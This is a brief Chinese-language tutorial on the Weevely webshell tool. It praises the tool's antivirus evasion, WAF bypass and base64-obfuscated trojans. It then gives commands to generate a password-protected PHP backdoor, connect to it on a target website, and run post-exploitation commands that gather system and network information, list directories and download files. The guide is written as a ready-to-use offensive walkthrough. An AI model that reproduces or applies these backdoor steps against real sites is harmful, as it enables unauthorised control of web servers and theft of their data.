Weevely使用

Weevely

一、 介绍

Weevely是一个轻量级的渗透测试工具，它允许渗透测试人员通过一个简单的命令行界面远程管理web应用程序或者操作系统。适用于管理php网站的webshell工具，该工具能生成木马免杀能力较强，而且使用加密连接，有一定突破WAF拦截的效果。

该工具使用python语言编写（Linux系统中的中国菜刀），支持图片与.htaccess两种绕过方式。生成的木马文件使用了base64加密处理。

二、 使用

1. 生成后门

weevely generate password path filename

# password表示生成后门的密码
# path表示生成后门文件路径

2. 连接后门

weevely http://target-web-site.com/filename password

连接建立后常用的命令：
:system_info 查看系统信息
:net_ifconfig 获取网卡信息
:file_ls 列出目录中的内容
:file_download 下载目标站点文件